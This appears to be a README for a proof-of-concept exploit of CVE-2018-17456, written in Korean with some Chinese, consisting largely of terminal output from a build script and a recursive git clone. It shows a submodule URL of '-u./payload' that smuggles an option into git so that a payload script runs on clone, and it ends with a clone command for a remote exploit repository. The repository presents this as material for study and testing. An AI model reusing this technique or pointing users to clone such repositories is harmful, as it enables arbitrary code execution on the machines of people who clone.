anonymking/cve-2018-17456CVE-2018-17456 취약점 재현（PoC+Exp）
build.sh를 실행하여 로컬에서 이 프로젝트를 구성하여 학습 및 테스트할 수 있습니다.git-2.12.1입니다.[anonymking@localhost test]$ ./build.sh
Initialized empty Git repository in /home/anonymking/Desktop/test/CVE-2018-17456-PoC/Submodule/.git/
[master (root-commit) 5b1e97c] submodule
1 file changed, 0 insertions(+), 0 deletions(-)
create mode 100644 hgt_blank
Initialized empty Git repository in /home/anonymking/Desktop/test/CVE-2018-17456-PoC/CVE-2018-17456-PoC/.git/
Cloning into '/home/anonymking/Desktop/test/CVE-2018-17456-PoC/CVE-2018-17456-PoC/exploit:exploit'...
done.
[master (root-commit) ed1914d] CVE-2018-17456
3 files changed, 6 insertions(+)
create mode 100644 .gitmodules
create mode 160000 exploit:exploit
create mode 100755 payload
git clone --recursive "/home/anonymking/Desktop/test/CVE-2018-17456-PoC/CVE-2018-17456-PoC" des_dir
[anonymking@localhost test]$ git clone --recursive "/home/anonymking/Desktop/test/CVE-2018-17456-PoC/CVE-2018-17456-PoC" test
Cloning into 'test'...
done.
Submodule 'exploit:exploit' (-u./payload) registered for path 'exploit:exploit'
Cloning into 'exploit'...
*********************************************
_ooOoo_
o8888888o
88" . "88
(| -_- |)
O\ = /O
____/`---'\____
.' \\| |// `.
/ \\||| : |||// \
/ _||||| -:- |||||- \
| | \\\ - /// | |
| \_| ''\---/'' | |
\ .-\__ `-` ___/-. /
___`. .' /--.--\ `. . __
."" '< `.___\_<|>_/___.' >'"".
| | : `- \`.;`\ _ /`;.`/ - ` : | |
\ \ `-. \_ __\ /__ _/ .-` / /
======`-.____`-.___\_____/___.-`____.-'======
`=---='
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
fatal: Could not read from remote repository.
Please make sure you have the correct access rights
and the repository exists.
fatal: clone of '-u./payload' into submodule path '/home/anonymking/Desktop/test/test/exploit:exploit' failed
Failed to clone 'exploit:exploit' a second time, aborting
###意外 발견
git clone --recursive https://dev.tencent.com/u/anonymking/p/CVE-2018-17456/git test